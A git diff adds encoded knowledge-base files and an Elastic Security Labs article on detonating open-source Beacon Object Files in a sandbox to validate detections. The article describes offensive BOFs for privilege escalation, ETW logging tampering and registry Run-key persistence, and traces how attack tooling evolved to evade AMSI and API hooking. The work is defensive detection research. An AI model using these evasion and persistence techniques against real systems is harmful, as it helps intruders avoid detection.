b4385568381c202a46d47d25240173c12ceb4ca332fc9f9a68765f63b5d380e79395616ed9b5c7db9b111966ea385a6d115c1028b259d3045a28fec8d3d74c228200e7ce77122095d95a1db535e66c9e207a1d2cb3dbe92ee19f93a556fd44218c7200653b1539638378eae6c45c8473e5ecf2b9330ec1a6ae1b790d75594c4cde895cd6278547afc1b9c18627b595b8024477eecee510692bfb8d365ef42db6daa6c8ff36b3ec3bec8ce4e144561ab678dfebd525dbca9467dcc32440085b7ad7926cb2761380c6c6ef1b4ace382067d527cfea7b4c0c2e62ad087674d4c110c3c1f145e857cb0bb81c594080a647619edf4d213445c2135099f41edcc338c36a92e8b979f8fe5db6cb20489e0b51cee3e05afc31854d75159037fc429427b8670da97da38fc9d9d1ab38c9b06a320ea31ef4cdc48236b8617943c081290c56d05bbb59e33f7377d7f8246d81ad7bfd8c2b2bca029d664a9348fde1bfdab2d65ed38e982ff581aefcb430073099b6d7c32275bdec09bceb3897e0b07683c2fd78ec691f46fc58e670ba490fde3dca3d3f1e55ef2ce2525c9cf626ccf574cb867ef970be36c84ca3330e0879ea77d64629fb27a85805c8a891e9515b01bb03503d26dec67af00dfa2224494cb7d52c9fbe94d6b6dc940c7dbf67e9024071dc204e1325f7cd0e87c5feea781ca9ee8fa0db27c751424f9e8c13a006f6bdf13f58c723259fb103d9d43c2677f316f2539fa2c36c2bc98765b2442d9b9117720502c9505f3343a8781533983127d9ef52368d03660d997af90215ddefc04d5b74851a87fce3dbed622af1c95357a688d8a413bf8ded905cc7f98740192c451546c78263e697219384363707e4c3488a84543584f7025f5e4e6afca352da0be3d8d1d36e10cfa73c63030be12cc11cd3fb79822a9c129bef3a4225c6ff9b4dd74b2b2980e6ff2fecddee5f1330a89ff7fb51eec4649394ae17b6189b3144a2f38388ddec64b2c2ba58ee699344bc2eedae2918a844ba7e2834e9de6e0bbc9e82f2cb75abac1fd34327fbb54fe883cce94d1e35ab91f3c028bd9071f78fe16ae30930717841e23ae8ab696347cabffd34f50300878b418b01a6b6f6147263c41c1f3461656cbda56d8d680e4a7b962c313c4e00eacf8a6117650335e7323f44f36ea078a5bb7bc98f8eab11aff626115d9a3cf63f92f4d245d73bbbf93e8c72bc9767b7b9fa489a6fa1dd4f37bc83f1ce44186d653e4372f500c7cccd74303dcad015aff63bb005a0c64e6627393c60b7f5dda68379c16c7116895e8302f705d0904f2493f97e55ff4bc49e559aace47cae3557838b3ecc8b81d307115ec1be7048b12b6d0fdcf92d2657ffe5427d07b20f85e8d4b17bdfd9b5d9c1465562ad9cae151843278d27a984eb7bb5d57276aa668fd7b3b57cd643fd31e6ff7a3041944ce90293aa8232d88cfb2659307cd1fd5883a36e21767d13a54aa82e2a1ab2ddab7310d8b18bcca35f50d92b33c628fd2f42a2c38d9a1510a01415b5b2d5841d78b2a12178a4471014e43f7fb57b799714c844d13f167230fda52c66d7df82ab4bddcb2fc66207723da4a2484e59a8d883ad47465496ab9ad3cd29fd5c0a98485bed730a59463152d2b82205106ee038b19804aea586e3767569b11afeb72daa50c697d6f469f2cdc2fa12d96bf8b3da1ff08b717e637067e1f8d20e8dcb1306803a93843e3316a1ac5a1af6c2d882cca06bf4f9387f141868942ac63f987a630dd4c9fddec0650d5207bafa6c1514735b4697d009f9d7388946c5f898b31a3d184e4887690df142f1e6e23616724de7e778c712bfca27cefe5d319885ca10194f306a322f1d096693e721f5b2585839254697831e5088ec2a8ee944600c785c783e649db7c281839f8cd2aaf7dff68bf5001694f9ba9c92a57ba5bd25f2ed248bc39626c5ce7ab9352573891dd61f01c398299443c50f318ff2ae44fcc633f4148732819aa6ae2b239056a3c224c1d0dde55a0c2aa1d81cb25b20dbc5d81e411e750fcfd85b6e4a824160a29569012092914ed1c22288a81972948b593629830386e5858adc2e336104dce81860f90e3f220190c2d85f687b539061650e0855582b75c3dce868161c11c15c120927c12a608cb44715237bd843bee12b6e66ff98a6ef92d5094c4bdf2ac4ce6399f8dda27ed3bf53c8d624dcf9e8e161e4eb6bb770a65786565f9a2f71cb03c190dd4f46948c84ac909ea0eca0886e4274bfc3d074750480f4221286cdf449db45248069ad9b98e900d447be938bce9effce22529c9d2410f39b0f32059beca473f9bc2123f7fd7e179acb284107b218588c994eb8e51b1527e4974b5e2eb3a32c5e2d05b5870ffc25d10b9636e5b045a71338c889b1d97d3e069da3da00a2c4bb794dadb1370210a3233eebc2b6fdc631b4ebe12b82f8f202012bae27517fb5276183010a6086114af49f6774974ba4ea75821b3e440bce558e7719e74416547395ae872d861b377f602de168df99383eb609f2429998fc58ccb83d074b59a2c56797a5fe6859443d0a928c6c00722e2e34a29938cc4b0 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detonating_beacons_to_illuminate_detection_gaps.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detonating_beacons_to_illuminate_detection_gaps.md new file mode 100644 index 0000000000000..d5736a11e85b7 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detonating_beacons_to_illuminate_detection_gaps.md @@ -0,0 +1,148 @@ +--- +title: "Detonating Beacons to Illuminate Detection Gaps" +slug: "detonating-beacons-to-illuminate-detection-gaps" +date: "2025-01-09" +description: "Learn how Elastic Security leveraged open-source BOFs to achieve detection engineering goals during our most recent ON week." +author: + - slug: mika-ayenson + - slug: miguel-garzon + - slug: samir-bousseaden +image: "Security Labs Images 31.jpg" +category: + - slug: security-research +--- + +At Elastic, we continuously strive to mature our detection engineering processes in scalable ways, leveraging creative approaches to validate and enhance our capabilities. We recently concluded a quarterly Elastic OnWeek event, which we convene quarterly and provides an opportunity to explore problems differently than our regular day-to-day. This time around, we explored the potential of using Beacon Object Files ([BOF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm)) for detection *validation*. We wanted to know how BOFs, combined with Elastic’s internal Detonate Service and the Elastic AI Assistant for Security, could streamline our ability to identify gaps, improve detection coverage, and explore new detection engineering challenges. This builds on our other internal tools and validation efforts, making blue team development more efficient by directly leveraging the improvements in red team development efficiency. + +## Tapping into OpenSource Red Team Contributions + +The evolution of offensive tooling in cybersecurity reflects an ongoing arms race between red teams and defenders, marked by continuous innovation on both sides: + +* Initially, red teamers leveraged PowerShell, taking advantage of its deep integration with Windows to execute commands and scripts entirely in memory, avoiding traditional file-based operations. +* This technique was countered by the introduction of the Antimalware Scan Interface ([AMSI](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal)), which provided real-time inspection to prevent harmful activity. +* Offensive operators adapted through obfuscation and version downgrades to bypass AMSI’s controls. The focus shifted to C\# and the .NET CLR (common language runtime), which offered robust capabilities for in-memory execution, evading inconvenient PowerShell-specific protections. +* AMSI’s expansion to CLR-based scripts (C\#), prompted the development of tools like [Donut](https://thewover.github.io/Introducing-Donut/), converting .NET assemblies into shellcode to bypass AMSI checks. +* With process injection becoming a prevalent technique for embedding code into legitimate processes, defenders introduced API hooking to monitor and block such activity. +* To counter process and syscall detections, red teams migrated to fork-and-run techniques, creating ephemeral processes to execute payloads and quickly terminate, further reducing the detection footprint. +* The latest innovation in this progression is the use of Beacon Object Files (BOFs), which execute lightweight payloads directly into an existing process’s memory, avoiding fork-and-run mechanisms and eliminating the need for runtime environments like the .NET CLR. + +TL;DR: The evolution (EXE --> DLL --> reflective C++ DLL --> PowerShell -> reflective C# -> C BOF --> C++ BOF --> bytecode) was all about writing shellcode more efficiently, and running it with just enough stealth. + +With a growing number of [BOF GitHub contributions](https://github.com/N7WEra/BofAllTheThings) covering multiple techniques, they are ideal for evaluating gaps and exploring procedure-level events. BOFs are generally small C-based programs that execute within the context of a COBALTSTRIKE BEACON agent. Since introduced, they’ve become a staple for red team operations. Even practitioners who don't use COBALTSTRIKE can take advantage of BOFs using third-party loaders, a great example of the ingenuity of the offensive research community. One example used in this exploration is [COFFLoader](https://github.com/trustedsec/COFFLoader), originally [introduced](https://www.trustedsec.com/blog/bofs-for-script-kiddies) in 2023 by TrustedSec, designed to load Common Object File Format (COFF) files. COFFs (the opened standard for BOFs), are essentially your compiled .o object files \- e.g. BOF with extra support for in-memory execution. Other more recent examples include the rust-based [Coffee](https://github.com/hakaioffsec/coffee) loader by Hakai Security and the GoLang-based implementation [Goffloader](https://github.com/praetorian-inc/goffloader) by Praetorian. +Loading COFF/BOF objects have become a standard feature in many C2 frameworks such as Havoc, Metasploit, PoshC2, and Sliver, with some directly utilizing COFFLoader for execution. With little setup, prebuilt BOFs and a loader like COFFLoader can quickly enable researchers to test a wide range of specific techniques on their endpoints. + +## Experimentation Powered by Detonate + +Setting up and maintaining a robust system for BOF execution, VM endpoint testing, and Elastic Security’s Defend in a repeatable manner can be a significant engineering challenge, especially when isolating detonations, collecting results, and testing multiple samples. To streamline this process and make it as efficient as possible, Elastic built the internal Detonate service, which handles the heavy lifting and minimizes the operational overhead. + +If you’re unfamiliar with Elastic’s Internal Detonate service, check out [Part 1 \- Click, Click…Boom\!](https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate) where we introduce Detonate, why we built it, explore how Detonate works, describe case studies, and discuss efficacy testing. If you want a deeper dive, head over to [Part 2 \- Into The Weeds: How We Run Detonate](https://www.elastic.co/security-labs/into-the-weeds-how-we-run-detonate) where we describe the APIs leveraged to automate much of our exploration. It is important to note that Detonate is still a prototype, not yet an enterprise offering, and as such, we’re experimenting with its potential applications and fine-tuning its capabilities. + +For this ON week project, the complexity was distilled down to one API call that uploads and executes the BOF, and a subsequent optional second API call to fetch behavior alert results. + +## Validating Behavior Detections via BOFs + +We used automation for the tedious behind-the-scenes work because ON week is about the more interesting research findings, but we wanted to share some of the challenges and pain points of this kind of technology in case you're interested in building your own detonation framework. If you’re interested in following along in general, we’ll walk through some of the nuances and pain points. + +![BOF Detonating Experimentation Pipeline](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image4.png) + +At a high level, this depicts an overview of the different components integrated into the automation. All of the core logic was centralized into a simple CLI POC tool to help manage the different phases of the experiment. + +## Framing a Proof of Concept + +The CLI provides sample commands to analyze a sample BOF’s .c source file, execute BOF’s within our Detonate environment, monitor specific GitHub repositories for BOF changes, and show detonation results with query recommendations if they’re available. + +![Sample PoC Commands](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image6.png) + +### Scraping and Preprocessing BOFs \- Phases 1 and 2 + +For a quickstart guide, navigate to [BofAllTheThings](https://github.com/N7WEra/BofAllTheThings), which includes several GitHub repositories worth starting with. The list isn’t actively maintained, so with some Github [topic searches for `bof`](https://github.com/topics/bof), you may encounter more consistently updated examples like [nanodump](https://github.com/fortra/nanodump). + +Standardizing BOFs to follow a common format significantly improves the experimentation and repeatability. Different authors name their `.c` source and `.o` BOF files differently so to streamline the research process, we followed TrustedSec’s [CONTRIBUTING](https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/CONTRIBUTING.md) guide and file conventions to consistently name files and place them in a common folder structure. We generally skipped GitHub repositories that did not include source with their BOFs (because we wanted to be certain of what they were doing *before* executing them), and prioritized examples with Makefiles. As each technique was processed, they were manually formatted to follow the conventions (e.g. renaming the main `.c` file to `entry.c`, compiling with a matching file and directory name, etc.). + +With the BOFs organized, we were able to parse the entry files, search for the `go` method that defines the key functions and arguments. We parse these arguments and convert them to hex, similarly to the way [beacon\_generate.py](https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py) does, before shipping the BOF and all accompanying materials to Detonate. + +![Sample Generated BOF Arguments](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image2.png) + +After preprocessing the arguments, we stored them locally in a `json` file and retrieved the contents whenever we wanted to detonate the BOF or all BOFs. + +### Submitting Detonations \- Phase 3 + +There is a `detonate` command and `detonate-all` that uploads the local BOF to the Detonate VM instance with the arguments. When a Detonate task is created, metadata about the BOF job is stored locally so that results can be retrieved later. + +![Netuser BOF Detonation](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image3.png) + +For detection engineering and regression testing, detonating all BOF files enables us to submit a periodic long-lasting job, starting with deploying and configuring virtual machines and ending with submitting generative AI completions for detection recommendations. + +### BOF Detonate Examples + +Up to this point, the setup is primarily a security research engineering effort. The detection engineering aspect begins when we can start analyzing results, investigating gaps, and developing additional rules. Each BOF submitted is accompanied by a Detonate job that describes the commands executed, execution logs, and any detections. In these test cases, different detections appeared during different aspects of the test (potential shellcode injection, malware detection, etc.). The following BOFs were selected based on their specific requirements for arguments, which were generated using the [beacon\_generate.py](https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py) script, as previously explained. Some BOFs require arguments to be passed to them during execution, and these arguments are crucial for tailoring the behaviour of the BOF to the specific test case scenario. The table below lists the BOFs explored in this section: + +| BOF | Type of BOF | Arguments Expected | +| :---- | :---- | :---- | +| netuser | Enumeration | \[username\] \[opt: domain\] | +| portscan | Enumeration | \[ipv4\] \[opt: port\] | +| Elevate-System-Trusted-BOF | Privilege Escalation | None | +| etw | Logging Manipulation | None | +| RegistryPersistence | Persistence | None (See notes below) | + +BOF Used: [PortScan](https://github.com/rvrsh3ll/BOF_Collection/tree/master/Network/PortScan) +Purpose: Enumeration technique that scans a single port on a remote host. + +![BOF Detonation: PortScan](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image9.png) + +The detonation log shows expected output of `COFFLoader64.exe` loading the `portscan.x64.o` sample, showing that port `22` was not open as expected on the test machine. Note: In this example two detections were triggered in comparison to the `netuser` BOF execution. + +BOF Used: [Elevate-System-Trusted-BOF](https://github.com/Mr-Un1k0d3r/Elevate-System-Trusted-BOF) +Purpose: This BOF can be used to elevate the current beacon to SYSTEM and obtain the TrustedInstaller group privilege. The impersonation is done through the `SetThreadToken` API. + +![BOF Detonation: Elevate-System-Trusted-BOF](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image1.png) + +The detonation log shows expected output of `COFFLoader64.exe` successfully loading and executing the `elevate_system.x64.o` BOF. The log confirms the BOF’s intended behavior, elevating the process to SYSTEM and granting the TrustedInstaller group privilege. This operation, leveraging the `SetThreadToken` function, demonstrates privilege escalation effectively. + +BOF Used: [ETW](https://github.com/ajpc500/BOFs/tree/main/ETW) +Purpose: Simple Beacon object file to patch (and revert) the `EtwEventWrite` function in `ntdll.dll` to degrade ETW-based logging. Check out the [Kernel ETW](https://www.elastic.co/security-labs/kernel-etw-best-etw) and [Kernel ETW Call Stack](https://www.elastic.co/security-labs/doubling-down-etw-callstacks) material for more details. + +![BOF Detonation: ETW](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image11.png) + +The detonation log confirms the successful execution of the `etw.x64.o` BOF using `COFFLoader64.exe`. This BOF manipulates the `EtwEventWrite` function in `ntdll.dll` to degrade ETW-based logging. The log verifies the BOF’s capability to disable key telemetry temporarily, a common defense evasion tactic. + +BOF Used: [RegistryPersistence](https://github.com/rvrsh3ll/BOF_Collection/tree/master/Persistence) +Purpose: Installs persistence in Windows systems by adding an entry under `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`. The persistence works by running a PowerShell command (dummy payload in this case) on startup via the registry. In the case of the RegistryPersistence BOF, the source code (.C) was modified so that the registry entry under `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` would be created if it did not already exist. Additionally, debugging messages were added to the code, which print to the Beacon’s output using the `BeaconPrintf` function, aiding in monitoring and troubleshooting the persistence mechanism during execution. + +![BOF Detonation: RegistryPersistence](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image1.png) + +The detonation log displays the expected behavior of the `registrypersistence.x64.o` BOF. It successfully modifies the Windows registry under `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, adding a persistence mechanism. The entry executes a PowerShell command (empty payload in this case) on system startup, validating the BOF’s intended persistence functionality. + +### Showing Results \- Phase 4 + +Finally, the `show-results` command lists the outcomes of the BOFs; whether a behavior detection successfully caught the technique, and a recommended query to quickly illustrate key ECS fields to build into a robust detection (or use to tune an existing rule). BOFs that are detected by an existing behavior detection do not go through the additional query recommendation workflow. + +![Query Recommendation Within Results](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image10.png) + +Fortunately, as described in [NEW in Elastic Security 8.15: Automatic Import, Gemini models, and AI Assistant APIs](https://www.elastic.co/blog/whats-new-elastic-security-8-15-0), the Elastic AI Assistant for Security exposes new capabilities to quickly generate a recommendation based on the context provided (by simply hitting the available [API](https://www.elastic.co/docs/api/doc/kibana/v8/operation/operation-performanonymizationfieldsbulkaction)). A simple HTTP request makes it easy to ship contextual information about the BOF and sample logs to ideate on possible improvements. + +```conn.request("POST", "/api/security_ai_assistant/chat/complete", payload, headers)``` + +To assess the accuracy of the query recommendations, we employed a dataset of labeled scenarios and benign activities to establish a “ground truth” and evaluated how the query recommendations performed in distinguishing between legitimate and malicious activities. Additionally, the prompts used to generate the rules were iteratively tuned until a satisfactory response was generated, where the *expected* query closely aligned with the *actual* rule generated, ensuring that the AI Assistant provided relevant and accurate recommendations. + +In the netuser BOF example, the returned detonation data contained no existing detections but included events [4798](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4798), based on the BOF context (user enumeration) and the Windows 4798 event details the Elastic AI Assistant rightly recommended the use of that event for detection. + +![Elastic Raw Events from BOF](/assets/images/detonating-beacons-to-illuminate-detection-gaps/image5.png) + +## Additional Considerations + +We’re continuing to explore creative ways to improve our detection engineering tradecraft. By integrating BOFs with Elastic’s Detonate Service and leveraging the Elastic Security Assistant, we’re able to streamline testing. This approach is designed to identify potential detection gaps and enable detection strategies. + +A key challenge for legacy SIEMs in detecting Beacon Object Files (BOFs) is their reliance on Windows Event Logging, which often fails to capture memory-only execution, reflective injection, or direct syscalls. Many BOF techniques are designed to bypass traditional logging, avoiding file creation and interactions with the Windows API. As a result, security solutions that rely solely on event logs are insufficient for detecting these sophisticated techniques. To effectively detect such threats, organizations need more advanced EDRs, like Elastic Defend, that offer visibility into injection methods, memory manipulation, system calls, process hollowing, and other evasive tactics. + +Developing a fully supported BOF experimentation and research pipeline requires *substantial* effort to cover the dependencies of each technique. For example: + +* Lateral Movement: Requires additional test nodes +* Data Exfiltration: Requires network communication connectivity +* Complex BOFs: May require extra dependencies, precondition arguments, and multistep executions prior to running the BOF. These additional steps are typically commands organized in the C2 Framework (e.g. `.cna` sleep script) + +Elastic, at its core, is open. This research illustrates this philosophy, and collaboration with the open-source community is an important way we support evolving detection engineering requirements. We are committed to refining our methodologies and sharing our lessons learned to strengthen the collective defense of enterprises. We’re more capable together. + +We’re always interested in hearing about new use cases or workflows, so reach out to us via [GitHub issues](https://github.com/elastic/detection-rules/issues), chat with us in our [community Slack](http://ela.st/slack), and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80). Learn more about detection engineering the Elastic way using the [DEBMM](https://www.elastic.co/security-labs/elastic-releases-debmm). You can see the technology we leverage for this research and more by checking out [Elastic Security](https://www.elastic.co/security). + +*The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.* diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/eddiestealer.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/eddiestealer.encoded.md new file mode 100644 index 0000000000000..0497137a3c662 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/eddiestealer.encoded.md @@ -0,0 +1 @@ +8636909498bfd1501084b35adc90476d67dc1ace89afa5aa95204423068e1089c3b4bd4c3d4bdd243e1601ca6102880bdec4c2aa12f43dcc0c6900a3b698c9198adf4e41b570db53b31ae683bc2c16570d4d1c5172e28c0bd3ad0fd3afb409e05a64e07488adf92cbb566d087f03567d46c31091ebb8c13eff599ca51d28cbbc250290f21fa318470ebce2bd55ec3b6ce68501016ffa3d2ea3149ba01c17b4c63380ac6dabd371aee0972041f7806b39a38685e14f8b4fc8910756f25a847d2ef8652476149be21114db53cbfb7c7239e1277998933ff0b99be4343fe4bae2bbc64382c2059335aa13394a508b4fc3d6f954012a5f22f4e49c54ea356158e569636cd62acfb62c2eb2632686a43534346a04269827bd3a6fe53b32d72b40637a06e190028730b4e01290a8f8daeea6fc1078ff8658e6b1388db76b1f216c2c4b07973bb98c9c5f401eafd3c5b21fc8fa8e4af9ac7a7f2ee2ec74f78cda214824bb6eb9c6c271a34216f4c5c8921dc2ebe913a8ab8386d57b770f8892812762ec1f0b48e74a351c9786d4db842ed3f1a3acc44b2ce9e8b81b7e66a8251fe8bdbf7f3e65ae744b96dacfc1946c661e1bf6b0a6a4be4490914fb67585c981a13e4dde3ebd164cb8ad5fa7201f24e8e1f2c9ea1afccf85348ddd119fde838bbfaaa2279b3fd0d59689dc385c5d85ccbf5f0131361647d9047b1ab4567404d007a06be39dd22109da3ca7b2bc8dd2998163427cf8c950e42bbbbb4513e978f332b7895f4d0a623b7e1d6d7936d05809e66288360dde6e038a5c9a1a2998074d0ebe487fe784fa7e3dd5ff89f1fb8c3452f07a26fee61b5387e249d31c0f78be049e9d1bfbb93b071b4466dcf7ea850005d26a8bf39bab8ee6647a052b8b16838107e907a724be8984a34315b25ae200cbe049391fed0805df6d686fd8e9997ae9054e3115f88746bdd2f8d7f05735055a5df09f0cfc2e88be11494b658caf51fe89a7a4df602d7c8b68ff484e1dccc5d918621d7e8149d3d0830d3d7a67d31c5b96e508499bb28d2312ab7587e42968e348237457eb651cee6e5fab9fb82cfdb66c744a113dd50e1ce211561ae9fa3990d9700340ed63fee0c804ec6454e58c0b9f9cd1f15e6ddf12df99268d73056ba5ae497c0feee3beb09a4b5ebf7c7d1efb42810d0dbfef964def6fa478186a06f024f9a6616ef04bff801a6a4dbeb21db0239ec7f22c5b1baf9a8ab981f642ca0c18493588a40542659e885d0adc760d3edf7d8499773d037ab4230ef2cc782fca34a3d5ed2111a871b453aa0be2aa71a61527e61ff0ecda5f1e28375aaf66680377589b1804e31177ed09fdfdcafdb76afb994a2640537967fd79a9b98ebf0c4874482d641493ff1922ec5c27c78104a566ebddf1060da79fbe60fb431127c0af4adf9c6e706c58df4c0299affd2f407721cee31607d13d3e17e914ea137dde93bbd9dd95bc14ffd4a39df58acd36427b3824b2fc833e3ecddd1f0dbee9963516450890df3009672a17cc59f60504411b709abd7c55e3c1979d5c68711eea7c91f8bb76b557e42cfe020c259a7b264bfe8ef72426a95917e9fed62bdd47a8c846aed538475512ed567b4a62e9906242f9d7d7799a74d38cc0c58487c0bb215ccbcaa64a75b6206a862df792c05165fa9d824bdf9518c5044a0585d0cb4ebfcfe71a408be416840f6db81ca40baaf0599ea322a2af9e4d58648cd5cd67d118965c5c183be933b9fc458fbf0c722945d388526d09993d8e5dc730d410486c4268d43751f98083f16ca6f06c7f020664690391dc6aab912002c89784217dfd2e22f45798835cf61543d6fb09a83028232db8a37e3b68cdea97493ad63f5b0d0a378d1383adfa19b6d05c2ed8a0b7e2f746175e6fabe70a37751d8f84ea13427ba0993c5a9e15ca8f41a19bf788b99e33e334f90041494a48c2d84a6b7388121f705e84a8e9666565005707692ac57f95a442ac2785f6c282bebc023d056624d8d51fd05b75bb28f1d578619d90b9536402b7bfd4884152c100e45a9d36863156ae1ce21a1212169690a48ebced1c1a431351df6c155fa20cdd6598fe9b72ff49089303890d389b1a683ac1536d8e33f3fffe01465aea4ceb939c1bc5f2d2fd151f488546efb52c80e03be62addae578a630d64bf4653c087f6b9e6aa179af8f7db2dcb61c97a5b964aac8439b2444cbaf6ac70e4c1101a5c543269743068121f781e712097bf92495a5f58b3045b4a3395da57ce91d162d23813665cd046f23ec4d445e63735e55a0783fff6b2c1f5d76288ce21101ba207787365900d4633b866f29476adf84550ea6b128910a8502cd5e28188e9c458d40dc5f0bd0ea2e220b51cba320ab3ab9a3fe49acdf9067fe81df96bc1d3a411c71f11c143a97238a9581155618c4608c04d3a8e96b52cc1ffca94da634939ac5b02e7a420c5456227669961e74732788e16208296d8fc0dcde8c0a7bd529265121158870a70ce236a3c0408d65465fdcace03e69e7c147112c006cdd3ae1198055eb06ceb128853b4e1801419f88d667ece192575b4a94a577ecc29fd441d3f55cf06be20be5f002d16d060ac1da10150d05f6a2ec07c2372029a71c5522ff66c9ebb83dce9a7e3227b53bef38c523f2525fd32cc18151a0e5bbb903c90eeb0216f0d9fe99df0d02b6584b674f26ab37795dc69854236a967bbae71d4b40ad0f8e312fcaefc0b087d0bf057553b5d8fed420eadb497f45af90ddc8362b7229470b6b47ed20b429774bdc9f35508b2ac8029173c47ebdd2a5462ad9f8deb3947aa86ece04ca9f7ad7d442b291ed018b71ffef1930b773158bf2bd60a9e4e1f2b28539ae034a4e5a700b961ef36731af6a1a17021602503b9eb79e0f4b60ab100fba2be403f147bee464cbbbae7332c3bf4e327d847cd8fc2db6383f34f142c5ed1628ad1d27eb36ff1f3d6531375b397d36aae0ae8c6b895929ed8036ad61b144bc18a19b0d8f92f023a4d25d93c6be7c7801419a9866bd8de31ec9afc9b9e2d3d56a539c1cd1b13dac926d128cafce0f10c904e1d6eaa1f3371e4f2311b3e859d4c98105b18fcbc2f84d58332c73cbbd2a26a647d8690f83e20638e9432cc4f482cc16d2a7c5fa014dd1f0d900dae03c9152e9dbf68b2a6be803ea3e8e22c31eea3771a155459fec92a35f5d1f4029ee78d0b0ce38f436815afc4ef80e6e73b30e9af6dedffda3de1a3dbef7dc373cd7e9880f322c09af6ecd82c34ee792b36fff286931feddba2b2db0efabfb40fde224fada40aeeeccbce316e00775a88c80bb83e0f821ef42f6a7371f94e35a7ba4fb9c00bb8603f13667d259c73fcff6e0c140dbde39d4b21788d55af9dc084972054d6ec9c2198e297af5e65da5ef7423833adfd3f6a8a1ef5b8292ed6fe0eb6d7ed1321c645cb64376b4a2a130c9a370ed4508b3dddb297e64ac104517a989fa91e6df8c3228c7a025b03fb6967d4cf7741e188c02e54e8745d6525ff09707eebe64369c306524b3c37afabbc612e8235efe65a6d87166b7f3151218fbdef07fc1bec67fa005faf0f60d7a47aa57df41cc701873c8d023677080aa375aab45d368ff5797778d7537547fc795422a6f77b2c8755c932433c660f60a4eb083b20f18b4304263617db5ba83266adde481c036af38c29c68c2c70cd3b33a343bab854c869c5b801f6aec339ba99efd8d74412a8933db4ce5cdf12ccf805f3411afd1334499dc921322f09f38f2dcff6468e2eb0423b4daae535f9497b7991d2f111625a957b4eeafe820a00b471e2eb05a0136dd3a49add880fde4a2b7b3d6bbdf1c5f2718d69fa2abee3b49fb2a55807e55fa08833e3e2a641f9051c6203791c9819d98b7bb3c56013301bdae1abb64629b3e2e7a92537c6bd0df8f68b2bfca70e00ef34b4952a97e60585cb69bfe0b58268fef7c542d495fd3a489d5cc97e53fbfd16260431590e3b4cd4ff6a3923e3f9bde77536fa39a03c02c842f395cf58bc22dd0aa20ef6172d6d0568f01aebb564c2086eab84448c16d0d1efc213b98b365e4e55962155f2c8c77db0ccb290c95bf69936b5c002dc089b94127e07f932005870878038d672e261ccddd9a49558698db5cb69be4b370c5a8674bbbcb8ed2078f12aab8e4203b36783d268e91be7f9389469a151f86322bbfd65b569baf5cbb998c8dee01ca0c53ff5de4b3e53b7aabf3f911994004b51b95e2a88ff1737078d385c90de27e4f933cc04779dfd7b9ef26b775e42960782d349e15c989f5fcddfdf183223587bbf52f6deb09c64fc75d3fc44b023c1b2cf9ff288cba27046f5dd15517b24542217d2e5862aa5864461bf36b5b0081517ff58c465625111c5de1d34b5bbb64b98a16403f50402e9acdde822f224ad92502dbd931d3706edea67c3a75dc5c2d2c1f79797af8c3a76d90a60439ac222ef308b80dc1a84fe9a36b418df4b11a0e2d3b20e30d8744b0bdfe801ba73782ad441bbcfe6f33c42770674bc59803aac19efe75a0ed8dd561b6afcfd3eecea9cf73a067472cf98009ade453ed3356ef7637655086011cae31ff010a765f936209e7fe7a47b951b1415eefbf59c93f381ad415bbadab2e4320de1c573fc0aa9f272cf894def1b818a6b6c50744609efb5ee17bb5ca017fc595796daf733434a84a56b911c2a333c8f413ff427b649b5edaa506d5fbde5ec055f40342a2c00c5fc74abb4b117472b442530f90bcbf5e012a2431d1b25bca8867453df94cb5284282986274a68dcb86fb848533d1d6b5c9d47a485b20c577eccff9cea269b9cb39bfb10e0d8c0cb0d746684336d696f0e6093e73473b43ddfac316dbd796679572052f88cfe565ce9dc3ad346ed50ad682e48e1567a991fbcb44cdf075272a83e97192b57b621a8083c4a8f9dc3292a8cfc6553b9ef86a7ae840c770d5262f5668defd5c21b7b941dce15b8923fce5285b83d3164a816bdbe86920287bcd963098475ab71f4eccd3502ccae25e93427d46ed7039328902dd5e2aef5602db4ed520d0d0c8b40de78a28e30b875892f8ecb806c97dcd830f529b78a38d708c6fc053f2336c9119ae8cb38b98b365e4e55962155f2c8c77db0ccb2fbd6f1890f4c8092b37f78a1a4f3bd7cfb93de1b989a69a95a0b79a071c0d9714d1d1feb1beaf78614f019382bf65d6fc36c120a389847df250ea5780f5fff7d9773dbbcc721cb363ab2b8ccaa80e49f22081e3df4b4d581ea9fdfef6ab5158800159ab71c0d941659bae04dc07dc5a94254b493ef87462befe1aec7cda3c8cc8c5d9826e4d281bbeb81e3103ecb5bb0d97ec947824795419099b48631cf047df4fbae29e9a8afedfd83c2474d8e99d9749855471aa261c37ab698fd9806acaf766f3b32d46fcf8ebf1e43a59f1c75025e3341916131e9c93a0c809b1eb1c9640a61c35d9c31cb9159069cf83dfe4e42f196addce3a028718c022ec8a17e9c044cdbc24f198acd8889444722b5e4d9d0287ef5d0c0f2a5a05c9b5348a06fd254c9ac1f1609f3429bc08e9537afae95683149b6ef2fddb6952ba065a787716b8bc84651c9ace7adec65e58e55ad7f41120de1c573fc0aa9f272cf894def1b818a1933a33d1d